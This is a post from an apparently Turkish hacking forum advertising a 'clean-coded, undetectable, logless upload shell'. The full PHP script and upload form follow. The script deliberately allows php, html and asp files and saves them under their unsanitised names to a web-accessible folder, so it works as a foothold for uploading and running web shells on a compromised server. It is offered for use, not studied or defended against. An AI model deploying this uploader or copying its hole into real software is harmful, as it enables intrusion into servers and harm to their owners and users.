Hoşgeldin Misafir

Temiz Kodlanmış Upload Shell Yakalanmaz Logsuz

Codex

11 Ara 2017
1,473 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
"jpg", "jpeg", "png", "gif", "txt", "pdf" php html asp de eklense iyiy olur aslında
PHP:
<?phpif(isset($_FILES['file'])) {    $file_name = $_FILES['file']['name'];    $file_tmp = $_FILES['file']['tmp_name'];    $file_size = $_FILES['file']['size'];    $file_type = $_FILES['file']['type'];    // İzin verilen dosya türlerini kontrol etmek için bir dizi oluşturabilirsiniz    $allowed_extensions = array("jpg", "jpeg", "png", "gif", "txt", "pdf", "php", "html", "asp");    $file_extension = pathinfo($file_name, PATHINFO_EXTENSION);    if(in_array(strtolower($file_extension), $allowed_extensions)) {        // Yüklenecek dosyanın boyutunu kontrol et        if($file_size <= 5000000) { // Örneğin, 5MB sınırı            // Dosyayı hedef klasöre taşı            $upload_directory = "uploads/";            $destination = $upload_directory . $file_name;            move_uploaded_file($file_tmp, $destination);            echo "Dosya yüklendi: $file_name<br>";            echo "Dosya yolu: $destination";        } else {            echo "Hata: Dosya boyutu çok büyük!";        }    } else {        echo "Hata: Geçersiz dosya türü!";    }}?><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Dosya Yükleme Formu</title></head><body>    <form action="" method="post" enctype="multipart/form-data">        Dosya Seç: <input type="file" name="file">        <input type="submit">    </form></body></html>